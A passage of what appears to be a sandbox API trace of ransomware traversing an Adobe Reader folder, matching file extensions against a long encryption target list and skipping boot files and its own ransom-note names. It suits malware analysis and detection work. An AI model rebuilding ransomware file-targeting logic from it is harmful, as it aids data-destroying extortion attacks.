(lpString=".c") returned 2 [0270.757] lstrcmpiW (lpString1=".c", lpString2="ss") returned -1 [0270.757] lstrlenW (lpString=".cdr") returned 4 [0270.757] lstrcmpiW (lpString1=".cdr", lpString2=".css") returned -1 [0270.757] lstrlenW (lpString=".cer") returned 4 [0270.757] lstrcmpiW (lpString1=".cer", lpString2=".css") returned -1 [0270.757] lstrlenW (lpString=".cf") returned 3 [0270.757] lstrcmpiW (lpString1=".cf", lpString2="css") returned -1 [0270.757] lstrlenW (lpString=".cfc") returned 4 [0270.757] lstrcmpiW (lpString1=".cfc", lpString2=".css") returned -1 [0270.757] lstrlenW (lpString=".cfm") returned 4 [0270.757] lstrcmpiW (lpString1=".cfm", lpString2=".css") returned -1 [0270.757] lstrlenW (lpString=".cfml") returned 5 [0270.757] lstrcmpiW (lpString1=".cfml", lpString2="r.css") returned -1 [0270.758] lstrlenW (lpString=".cfu") returned 4 [0270.758] lstrcmpiW (lpString1=".cfu", lpString2=".css") returned -1 [0270.758] lstrlenW (lpString=".chm") returned 4 [0270.758] lstrcmpiW (lpString1=".chm", lpString2=".css") returned -1 [0270.758] lstrlenW (lpString=".cin") returned 4 [0270.758] lstrcmpiW (lpString1=".cin", lpString2=".css") returned -1 [0270.758] lstrlenW (lpString=".class") returned 6 [0270.758] lstrcmpiW (lpString1=".class", lpString2="or.css") returned -1 [0270.759] lstrlenW (lpString=".clx") returned 4 [0270.759] lstrcmpiW (lpString1=".clx", lpString2=".css") returned -1 [0270.759] lstrlenW (lpString=".config") returned 7 [0270.759] lstrcmpiW (lpString1=".config", lpString2="tor.css") returned -1 [0270.759] lstrlenW (lpString=".cpp") returned 4 [0270.759] lstrcmpiW (lpString1=".cpp", lpString2=".css") returned -1 [0270.759] lstrlenW (lpString=".cr2") returned 4 [0270.759] lstrcmpiW (lpString1=".cr2", lpString2=".css") returned -1 [0270.759] lstrlenW (lpString=".crt") returned 4 [0270.759] lstrcmpiW (lpString1=".crt", lpString2=".css") returned -1 [0270.759] lstrlenW (lpString=".crw") returned 4 [0270.759] lstrcmpiW (lpString1=".crw", lpString2=".css") returned -1 [0270.759] lstrlenW (lpString=".cs") returned 3 [0270.759] lstrcmpiW (lpString1=".cs", lpString2="css") returned -1 [0270.759] lstrlenW (lpString=".css") returned 4 [0270.760] lstrcmpiW (lpString1=".css", lpString2=".css") returned 0 [0270.760] lstrlenW (lpString="main-selector.css") returned 17 [0270.760] lstrlenW (lpString=".love$") returned 6 [0270.760] lstrcmpiW (lpString1=".love$", lpString2="or.css") returned -1 [0270.760] lstrlenW (lpString="main-selector.css") returned 17 [0270.760] lstrcmpiW (lpString1="boot.ini", lpString2="main-selector.css") returned -1 [0270.760] lstrcmpiW (lpString1="bootfont.bin", lpString2="main-selector.css") returned -1 [0270.760] lstrcmpiW (lpString1="ntldr", lpString2="main-selector.css") returned 1 [0270.760] lstrcmpiW (lpString1="ntdetect.com", lpString2="main-selector.css") returned 1 [0270.760] lstrcmpiW (lpString1="io.sys", lpString2="main-selector.css") returned -1 [0270.760] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="main-selector.css") returned -1 [0270.760] lstrcmpiW (lpString1="Info.hta", lpString2="main-selector.css") returned -1 [0270.760] lstrcmpiW (lpString1="finbbp.exe", lpString2="main-selector.css") returned -1 [0270.760] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css\\main-selector.css") returned 128 [0270.760] FindNextFileW (in: hFindFile=0x3315c70, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1faf, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main.css", cAlternateFileName="")) returned 1 [0270.760] lstrlenW (lpString="main.css") returned 8 [0270.760] lstrlenW (lpString=".1cd") returned 4 [0270.760] lstrcmpiW (lpString1=".1cd", lpString2=".css") returned -1 [0270.760] lstrlenW (lpString=".3ds") returned 4 [0270.760] lstrcmpiW (lpString1=".3ds", lpString2=".css") returned -1 [0270.760] lstrlenW (lpString=".3fr") returned 4 [0270.760] lstrcmpiW (lpString1=".3fr", lpString2=".css") returned -1 [0270.760] lstrlenW (lpString=".3g2") returned 4 [0270.761] lstrcmpiW (lpString1=".3g2", lpString2=".css") returned -1 [0270.761] lstrlenW (lpString=".3gp") returned 4 [0270.761] lstrcmpiW (lpString1=".3gp", lpString2=".css") returned -1 [0270.761] lstrlenW (lpString=".7z") returned 3 [0270.761] lstrcmpiW (lpString1=".7z", lpString2="css") returned -1 [0270.761] lstrlenW (lpString=".accda") returned 6 [0270.761] lstrcmpiW (lpString1=".accda", lpString2="in.css") returned -1 [0270.761] lstrlenW (lpString=".accdb") returned 6 [0270.761] lstrcmpiW (lpString1=".accdb", lpString2="in.css") returned -1 [0270.761] lstrlenW (lpString=".accdc") returned 6 [0270.761] lstrcmpiW (lpString1=".accdc", lpString2="in.css") returned -1 [0270.761] lstrlenW (lpString=".accde") returned 6 [0270.761] lstrcmpiW (lpString1=".accde", lpString2="in.css") returned -1 [0270.761] lstrlenW (lpString=".accdt") returned 6 [0270.761] lstrcmpiW (lpString1=".accdt", lpString2="in.css") returned -1 [0270.761] lstrlenW (lpString=".accdw") returned 6 [0270.761] lstrcmpiW (lpString1=".accdw", lpString2="in.css") returned -1 [0270.761] lstrlenW (lpString=".adb") returned 4 [0270.761] lstrcmpiW (lpString1=".adb", lpString2=".css") returned -1 [0270.761] lstrlenW (lpString=".adp") returned 4 [0270.761] lstrcmpiW (lpString1=".adp", lpString2=".css") returned -1 [0270.761] lstrlenW (lpString=".ai") returned 3 [0270.761] lstrcmpiW (lpString1=".ai", lpString2="css") returned -1 [0270.761] lstrlenW (lpString=".ai3") returned 4 [0270.762] lstrcmpiW (lpString1=".ai3", lpString2=".css") returned -1 [0270.762] lstrlenW (lpString=".ai4") returned 4 [0270.762] lstrcmpiW (lpString1=".ai4", lpString2=".css") returned -1 [0270.762] lstrlenW (lpString=".ai5") returned 4 [0270.762] lstrcmpiW (lpString1=".ai5", lpString2=".css") returned -1 [0270.762] lstrlenW (lpString=".ai6") returned 4 [0270.762] lstrcmpiW (lpString1=".ai6", lpString2=".css") returned -1 [0270.762] lstrlenW (lpString=".ai7") returned 4 [0270.762] lstrcmpiW (lpString1=".ai7", lpString2=".css") returned -1 [0270.762] lstrlenW (lpString=".ai8") returned 4 [0270.762] lstrcmpiW (lpString1=".ai8", lpString2=".css") returned -1 [0270.762] lstrlenW (lpString=".anim") returned 5 [0270.762] lstrcmpiW (lpString1=".anim", lpString2="n.css") returned -1 [0270.762] lstrlenW (lpString=".arw") returned 4 [0270.762] lstrcmpiW (lpString1=".arw", lpString2=".css") returned -1 [0270.762] lstrlenW (lpString=".as") returned 3 [0270.762] lstrcmpiW (lpString1=".as", lpString2="css") returned -1 [0270.762] lstrlenW (lpString=".asa") returned 4 [0270.762] lstrcmpiW (lpString1=".asa", lpString2=".css") returned -1 [0270.762] lstrlenW (lpString=".asc") returned 4 [0270.762] lstrcmpiW (lpString1=".asc", lpString2=".css") returned -1 [0270.762] lstrlenW (lpString=".ascx") returned 5 [0270.762] lstrcmpiW (lpString1=".ascx", lpString2="n.css") returned -1 [0270.762] lstrlenW (lpString=".asm") returned 4 [0270.762] lstrcmpiW (lpString1=".asm", lpString2=".css") returned -1 [0270.763] FindNextFileW (in: hFindFile=0x3315c70, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1faf, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main.css", cAlternateFileName="")) returned 0 [0270.763] FindClose (in: hFindFile=0x3315c70 | out: hFindFile=0x3315c70) returned 1 [0270.763] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0270.763] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x2e8e420 | out: lpFindFileData=0x2e8e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0270.763] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4235db0 [0270.763] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images") returned 113 [0270.763] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\*", lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315af0 [0270.764] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0270.764] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2bf, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bg_patterns_header.png", cAlternateFileName="BG_PAT~2.PNG")) returned 1 [0270.764] lstrlenW (lpString="bg_patterns_header.png") returned 22 [0270.764] lstrlenW (lpString=".1cd") returned 4 [0270.764] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0270.764] lstrlenW (lpString=".3ds") returned 4 [0270.764] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0270.764] lstrlenW (lpString=".3fr") returned 4 [0270.764] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0270.764] lstrlenW (lpString=".3g2") returned 4 [0270.764] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0270.764] lstrlenW (lpString=".3gp") returned 4 [0270.764] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0270.765] lstrlenW (lpString=".7z") returned 3 [0270.765] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0270.765] lstrlenW (lpString=".accda") returned 6 [0270.765] lstrcmpiW (lpString1=".accda", lpString2="er.png") returned -1 [0270.765] lstrlenW (lpString=".accdb") returned 6 [0270.765] lstrcmpiW (lpString1=".accdb", lpString2="er.png") returned -1 [0270.765] lstrlenW (lpString=".accdc") returned 6 [0270.765] lstrcmpiW (lpString1=".accdc", lpString2="er.png") returned -1 [0270.765] lstrlenW (lpString=".accde") returned 6 [0270.765] lstrcmpiW (lpString1=".accde", lpString2="er.png") returned -1 [0270.765] lstrlenW (lpString=".accdt") returned 6 [0270.765] lstrcmpiW (lpString1=".accdt", lpString2="er.png") returned -1 [0270.765] lstrlenW (lpString=".accdw") returned 6 [0270.765] lstrcmpiW (lpString1=".accdw", lpString2="er.png") returned -1 [0270.765] lstrlenW (lpString=".adb") returned 4 [0270.765] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0270.765] lstrlenW (lpString=".adp") returned 4 [0270.765] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0270.765] lstrlenW (lpString=".ai") returned 3 [0270.765] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0270.766] lstrlenW (lpString=".ai3") returned 4 [0270.766] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0270.766] lstrlenW (lpString=".ai4") returned 4 [0270.766] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0270.766] lstrlenW (lpString=".ai5") returned 4 [0270.766] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1 [0270.766] lstrlenW (lpString=".ai6") returned 4 [0270.766] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1 [0270.766] lstrlenW (lpString=".ai7") returned 4 [0270.766] lstrcmpiW (lpString1=".ai7", lpString2=".png") returned -1 [0270.766] lstrlenW (lpString=".ai8") returned 4 [0270.766] lstrcmpiW (lpString1=".ai8", lpString2=".png") returned -1 [0270.766] lstrlenW (lpString=".anim") returned 5 [0270.766] lstrcmpiW (lpString1=".anim", lpString2="r.png") returned -1 [0270.766] lstrlenW (lpString=".arw") returned 4 [0270.766] lstrcmpiW (lpString1=".arw", lpString2=".png") returned -1 [0270.766] lstrlenW (lpString=".as") returned 3 [0270.766] lstrcmpiW (lpString1=".as", lpString2="png") returned -1 [0270.766] lstrlenW (lpString=".asa") returned 4 [0270.766] lstrcmpiW (lpString1=".asa", lpString2=".png") returned -1 [0270.766] lstrlenW (lpString=".asc") returned 4 [0270.766] lstrcmpiW (lpString1=".asc", lpString2=".png") returned -1 [0270.766] lstrlenW (lpString=".ascx") returned 5 [0270.766] lstrcmpiW (lpString1=".ascx", lpString2="r.png") returned -1 [0270.767] lstrlenW (lpString=".asm") returned 4 [0270.767] lstrcmpiW (lpString1=".asm", lpString2=".png") returned -1 [0270.767] lstrlenW (lpString=".asmx") returned 5 [0270.767] lstrcmpiW (lpString1=".asmx", lpString2="r.png") returned -1 [0270.767] lstrlenW (lpString=".asp") returned 4 [0270.767] lstrcmpiW (lpString1=".asp", lpString2=".png") returned -1 [0270.767] lstrlenW (lpString=".aspx") returned 5 [0270.767] lstrcmpiW (lpString1=".aspx", lpString2="r.png") returned -1 [0270.767] lstrlenW (lpString=".asr") returned 4 [0270.767] lstrcmpiW (lpString1=".asr", lpString2=".png") returned -1 [0270.767] lstrlenW (lpString=".asx") returned 4 [0270.767] lstrcmpiW (lpString1=".asx", lpString2=".png") returned -1 [0270.767] lstrlenW (lpString=".avi") returned 4 [0270.767] lstrcmpiW (lpString1=".avi", lpString2=".png") returned -1 [0270.767] lstrlenW (lpString=".avs") returned 4 [0270.767] lstrcmpiW (lpString1=".avs", lpString2=".png") returned -1 [0270.767] lstrlenW (lpString=".backup") returned 7 [0270.767] lstrcmpiW (lpString1=".backup", lpString2="der.png") returned -1 [0270.767] lstrlenW (lpString=".bak") returned 4 [0270.768] lstrcmpiW (lpString1=".bak", lpString2=".png") returned -1 [0270.768] lstrlenW (lpString=".bay") returned 4 [0270.768] lstrcmpiW (lpString1=".bay", lpString2=".png") returned -1 [0270.768] lstrlenW (lpString=".bd") returned 3 [0270.768] lstrcmpiW (lpString1=".bd", lpString2="png") returned -1 [0270.768] lstrlenW (lpString=".bin") returned 4 [0270.769] lstrcmpiW (lpString1=".bin", lpString2=".png") returned -1 [0270.769] lstrlenW (lpString=".bmp") returned 4 [0270.769] lstrcmpiW (lpString1=".bmp", lpString2=".png") returned -1 [0270.769] lstrlenW (lpString=".bz2") returned 4 [0270.769] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0270.769] lstrlenW (lpString=".c") returned 2 [0270.769] lstrcmpiW (lpString1=".c", lpString2="ng") returned -1 [0270.769] lstrlenW (lpString=".cdr") returned 4 [0270.769] lstrcmpiW (lpString1=".cdr", lpString2=".png") returned -1 [0270.769] lstrlenW (lpString=".cer") returned 4 [0270.769] lstrcmpiW (lpString1=".cer", lpString2=".png") returned -1 [0270.769] lstrlenW (lpString=".cf") returned 3 [0270.769] lstrcmpiW (lpString1=".cf", lpString2="png") returned -1 [0270.769] lstrlenW (lpString=".cfc") returned 4 [0270.769] lstrcmpiW (lpString1=".cfc", lpString2=".png") returned -1 [0270.769] lstrlenW (lpString=".cfm") returned 4 [0270.769] lstrcmpiW (lpString1=".cfm", lpString2=".png") returned -1 [0270.769] lstrlenW (lpString=".cfml") returned 5 [0270.769] lstrcmpiW (lpString1=".cfml", lpString2="r.png") returned -1 [0270.769] lstrlenW (lpString=".cfu") returned 4 [0270.770] lstrcmpiW (lpString1=".cfu", lpString2=".png") returned -1 [0270.770] lstrlenW (lpString=".chm") returned 4 [0270.770] lstrcmpiW (lpString1=".chm", lpString2=".png") returned -1 [0270.770] lstrlenW (lpString=".cin") returned 4 [0270.770] lstrcmpiW (lpString1=".cin", lpString2=".png") returned -1 [0270.770] lstrlenW (lpString=".class") returned 6 [0270.770] lstrcmpiW (lpString1=".class", lpString2="er.png") returned -1 [0270.770] lstrlenW (lpString=".clx") returned 4 [0270.770] lstrcmpiW (lpString1=".clx", lpString2=".png") returned -1 [0270.855] lstrlenW (lpString=".config") returned 7 [0270.855] lstrcmpiW (lpString1=".config", lpString2="der.png") returned -1 [0270.855] lstrlenW (lpString=".cpp") returned 4 [0270.855] lstrcmpiW (lpString1=".cpp", lpString2=".png") returned -1 [0270.855] lstrlenW (lpString=".cr2") returned 4 [0270.856] lstrcmpiW (lpString1=".cr2", lpString2=".png") returned -1 [0270.856] lstrlenW (lpString=".crt") returned 4 [0270.856] lstrcmpiW (lpString1=".crt", lpString2=".png") returned -1 [0270.856] lstrlenW (lpString=".crw") returned 4 [0270.856] lstrcmpiW (lpString1=".crw", lpString2=".png") returned -1 [0270.856] lstrlenW (lpString=".cs") returned 3 [0270.856] lstrcmpiW (lpString1=".cs", lpString2="png") returned -1 [0270.856] lstrlenW (lpString=".css") returned 4 [0270.856] lstrcmpiW (lpString1=".css", lpString2=".png") returned -1 [0270.856] lstrlenW (lpString=".csv") returned 4 [0270.856] lstrcmpiW (lpString1=".csv", lpString2=".png") returned -1 [0270.856] lstrlenW (lpString=".cub") returned 4 [0270.856] lstrcmpiW (lpString1=".cub", lpString2=".png") returned -1 [0270.856] lstrlenW (lpString=".dae") returned 4 [0270.856] lstrcmpiW (lpString1=".dae", lpString2=".png") returned -1 [0270.856] lstrlenW (lpString=".dat") returned 4 [0270.856] lstrcmpiW (lpString1=".dat", lpString2=".png") returned -1 [0270.857] lstrlenW (lpString=".db") returned 3 [0270.857] lstrcmpiW (lpString1=".db", lpString2="png") returned -1 [0270.857] lstrlenW (lpString=".dbf") returned 4 [0270.857] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0270.857] lstrlenW (lpString=".dbx") returned 4 [0270.857] lstrcmpiW (lpString1=".dbx", lpString2=".png") returned -1 [0270.857] lstrlenW (lpString=".dc3") returned 4 [0270.857] lstrcmpiW (lpString1=".dc3", lpString2=".png") returned -1 [0270.857] lstrlenW (lpString=".dcm") returned 4 [0270.857] lstrcmpiW (lpString1=".dcm", lpString2=".png") returned -1 [0270.857] lstrlenW (lpString=".dcr") returned 4 [0270.857] lstrcmpiW (lpString1=".dcr", lpString2=".png") returned -1 [0270.857] lstrlenW (lpString=".der") returned 4 [0270.857] lstrcmpiW (lpString1=".der", lpString2=".png") returned -1 [0270.857] lstrlenW (lpString=".dib") returned 4 [0270.857] lstrcmpiW (lpString1=".dib", lpString2=".png") returned -1 [0270.857] lstrlenW (lpString=".dic") returned 4 [0270.857] lstrcmpiW (lpString1=".dic", lpString2=".png") returned -1 [0270.857] lstrlenW (lpString=".dif") returned 4 [0270.857] lstrcmpiW (lpString1=".dif", lpString2=".png") returned -1 [0270.857] lstrlenW (lpString=".divx") returned 5 [0270.857] lstrcmpiW (lpString1=".divx", lpString2="r.png") returned -1 [0270.858] lstrlenW (lpString=".djvu") returned 5 [0270.858] lstrcmpiW (lpString1=".djvu", lpString2="r.png") returned -1 [0270.858] lstrlenW (lpString=".dng") returned 4 [0270.858] lstrcmpiW (lpString1=".dng", lpString2=".png") returned -1 [0270.858] lstrlenW (lpString=".doc") returned 4 [0270.858] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0270.858] lstrlenW (lpString=".docm") returned 5 [0270.858] lstrcmpiW (lpString1=".docm", lpString2="r.png") returned -1 [0270.858] lstrlenW (lpString=".docx") returned 5 [0270.858] lstrcmpiW (lpString1=".docx", lpString2="r.png") returned -1 [0270.858] lstrlenW (lpString=".dot") returned 4 [0270.858] lstrcmpiW (lpString1=".dot", lpString2=".png") returned -1 [0270.858] lstrlenW (lpString=".dotm") returned 5 [0270.858] lstrcmpiW (lpString1=".dotm", lpString2="r.png") returned -1 [0270.858] lstrlenW (lpString=".dotx") returned 5 [0270.858] lstrcmpiW (lpString1=".dotx", lpString2="r.png") returned -1 [0270.858] lstrlenW (lpString=".dpx") returned 4 [0270.858] lstrcmpiW (lpString1=".dpx", lpString2=".png") returned -1 [0270.858] lstrlenW (lpString=".dqy") returned 4 [0270.858] lstrcmpiW (lpString1=".dqy", lpString2=".png") returned -1 [0270.858] lstrlenW (lpString=".dsn") returned 4 [0270.859] lstrcmpiW (lpString1=".dsn", lpString2=".png") returned -1 [0270.859] lstrlenW (lpString=".dt") returned 3 [0270.859] lstrcmpiW (lpString1=".dt", lpString2="png") returned -1 [0270.859] lstrlenW (lpString=".dtd") returned 4 [0270.859] lstrcmpiW (lpString1=".dtd", lpString2=".png") returned -1 [0270.859] lstrlenW (lpString=".dwg") returned 4 [0270.859] lstrcmpiW (lpString1=".dwg", lpString2=".png") returned -1 [0270.859] lstrlenW (lpString=".dwt") returned 4 [0270.859] lstrcmpiW (lpString1=".dwt", lpString2=".png") returned -1 [0270.859] lstrlenW (lpString=".dx") returned 3 [0270.859] lstrcmpiW (lpString1=".dx", lpString2="png") returned -1 [0270.859] lstrlenW (lpString=".dxf") returned 4 [0270.859] lstrcmpiW (lpString1=".dxf", lpString2=".png") returned -1 [0270.859] lstrlenW (lpString=".edml") returned 5 [0270.859] lstrcmpiW (lpString1=".edml", lpString2="r.png") returned -1 [0270.859] lstrlenW (lpString=".efd") returned 4 [0270.860] lstrcmpiW (lpString1=".efd", lpString2=".png") returned -1 [0270.860] lstrlenW (lpString=".elf") returned 4 [0270.860] lstrcmpiW (lpString1=".elf", lpString2=".png") returned -1 [0270.860] lstrlenW (lpString=".emf") returned 4 [0270.860] lstrcmpiW (lpString1=".emf", lpString2=".png") returned -1 [0270.860] lstrlenW (lpString=".emz") returned 4 [0270.860] lstrcmpiW (lpString1=".emz", lpString2=".png") returned -1 [0270.860] lstrlenW (lpString=".epf") returned 4 [0270.860] lstrcmpiW (lpString1=".epf", lpString2=".png") returned -1 [0270.860] lstrlenW (lpString=".eps") returned 4 [0270.860] lstrcmpiW (lpString1=".eps", lpString2=".png") returned -1 [0270.860] lstrlenW (lpString=".epsf") returned 5 [0270.861] lstrcmpiW (lpString1=".epsf", lpString2="r.png") returned -1 [0270.861] lstrlenW (lpString=".epsp") returned 5 [0270.861] lstrcmpiW (lpString1=".epsp", lpString2="r.png") returned -1 [0270.861] lstrlenW (lpString=".erf") returned 4 [0270.861] lstrcmpiW (lpString1=".erf", lpString2=".png") returned -1 [0270.861] lstrlenW (lpString=".exr") returned 4 [0270.861] lstrcmpiW (lpString1=".exr", lpString2=".png") returned -1 [0270.861] lstrlenW (lpString=".f4v") returned 4 [0270.861] lstrcmpiW (lpString1=".f4v", lpString2=".png") returned -1 [0270.861] lstrlenW (lpString=".fido") returned 5 [0270.861] lstrcmpiW (lpString1=".fido", lpString2="r.png") returned -1 [0270.861] lstrlenW (lpString=".flm") returned 4 [0270.861] lstrcmpiW (lpString1=".flm", lpString2=".png") returned -1 [0270.861] lstrlenW (lpString=".flv") returned 4 [0270.861] lstrcmpiW (lpString1=".flv", lpString2=".png") returned -1 [0270.861] lstrlenW (lpString=".frm") returned 4 [0270.861] lstrcmpiW (lpString1=".frm", lpString2=".png") returned -1 [0270.862] lstrlenW (lpString=".fxg") returned 4 [0270.862] lstrcmpiW (lpString1=".fxg", lpString2=".png") returned -1 [0270.862] lstrlenW (lpString=".geo") returned 4 [0270.862] lstrcmpiW (lpString1=".geo", lpString2=".png") returned -1 [0270.862] lstrlenW (lpString=".gif") returned 4 [0270.862] lstrcmpiW (lpString1=".gif", lpString2=".png") returned -1 [0270.862] lstrlenW (lpString=".grs") returned 4 [0270.862] lstrcmpiW (lpString1=".grs", lpString2=".png") returned -1 [0270.862] lstrlenW (lpString=".gz") returned 3 [0270.862] lstrcmpiW (lpString1=".gz", lpString2="png") returned -1 [0270.862] lstrlenW (lpString=".h") returned 2 [0270.862] lstrcmpiW (lpString1=".h", lpString2="ng") returned -1 [0270.862] lstrlenW (lpString=".hdr") returned 4 [0270.862] lstrcmpiW (lpString1=".hdr", lpString2=".png") returned -1 [0270.862] lstrlenW (lpString=".hpp") returned 4 [0270.862] lstrcmpiW (lpString1=".hpp", lpString2=".png") returned -1 [0270.862] lstrlenW (lpString=".hta") returned 4 [0270.862] lstrcmpiW (lpString1=".hta", lpString2=".png") returned -1 [0270.863] lstrlenW (lpString=".htc") returned 4 [0270.863] lstrcmpiW (lpString1=".htc", lpString2=".png") returned -1 [0270.863] lstrlenW (lpString=".htm") returned 4 [0270.863] lstrcmpiW (lpString1=".htm", lpString2=".png") returned -1 [0270.863] lstrlenW (lpString=".html") returned 5 [0270.863] lstrcmpiW (lpString1=".html", lpString2="r.png") returned -1 [0270.863] lstrlenW (lpString=".icb") returned 4 [0270.863] lstrcmpiW (lpString1=".icb", lpString2=".png") returned -1 [0270.863] lstrlenW (lpString=".ics") returned 4 [0270.863] lstrcmpiW (lpString1=".ics", lpString2=".png") returned -1 [0270.863] lstrlenW (lpString=".iff") returned 4 [0270.863] lstrcmpiW (lpString1=".iff", lpString2=".png") returned -1 [0270.863] lstrlenW (lpString=".inc") returned 4 [0270.863] lstrcmpiW (lpString1=".inc", lpString2=".png") returned -1 [0270.863] lstrlenW (lpString=".indd") returned 5 [0270.863] lstrcmpiW (lpString1=".indd", lpString2="r.png") returned -1 [0270.863] lstrlenW (lpString=".ini") returned 4 [0270.863] lstrcmpiW (lpString1=".ini", lpString2=".png") returned -1 [0270.863] lstrlenW (lpString=".iqy") returned 4 [0270.863] lstrcmpiW (lpString1=".iqy", lpString2=".png") returned -1 [0270.864] lstrlenW (lpString=".j2c") returned 4 [0270.864] lstrcmpiW (lpString1=".j2c", lpString2=".png") returned -1 [0270.864] lstrlenW (lpString=".j2k") returned 4 [0270.864] lstrcmpiW (lpString1=".j2k", lpString2=".png") returned -1 [0270.864] lstrlenW (lpString=".java") returned 5 [0270.864] lstrcmpiW (lpString1=".java", lpString2="r.png") returned -1 [0270.864] lstrlenW (lpString=".jp2") returned 4 [0270.864] lstrcmpiW (lpString1=".jp2", lpString2=".png") returned -1 [0270.864] lstrlenW (lpString=".jpc") returned 4 [0270.864] lstrcmpiW (lpString1=".jpc", lpString2=".png") returned -1 [0270.864] lstrlenW (lpString=".jpe") returned 4 [0270.864] lstrcmpiW (lpString1=".jpe", lpString2=".png") returned -1 [0270.864] lstrlenW (lpString=".jpeg") returned 5 [0270.864] lstrcmpiW (lpString1=".jpeg", lpString2="r.png") returned -1 [0270.864] lstrlenW (lpString=".jpf") returned 4 [0270.865] lstrcmpiW (lpString1=".jpf", lpString2=".png") returned -1 [0270.865] lstrlenW (lpString=".jpg") returned 4 [0270.865] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0270.865] lstrlenW (lpString=".jpx") returned 4 [0270.865] lstrcmpiW (lpString1=".jpx", lpString2=".png") returned -1 [0270.865] lstrlenW (lpString=".js") returned 3 [0270.865] lstrcmpiW (lpString1=".js", lpString2="png") returned -1 [0270.865] lstrlenW (lpString=".jsf") returned 4 [0270.865] lstrcmpiW (lpString1=".jsf", lpString2=".png") returned -1 [0270.865] lstrlenW (lpString=".json") returned 5 [0270.865] lstrcmpiW (lpString1=".json", lpString2="r.png") returned -1 [0270.866] lstrlenW (lpString=".jsp") returned 4 [0270.866] lstrcmpiW (lpString1=".jsp", lpString2=".png") returned -1 [0270.866] lstrlenW (lpString=".kdc") returned 4 [0270.866] lstrcmpiW 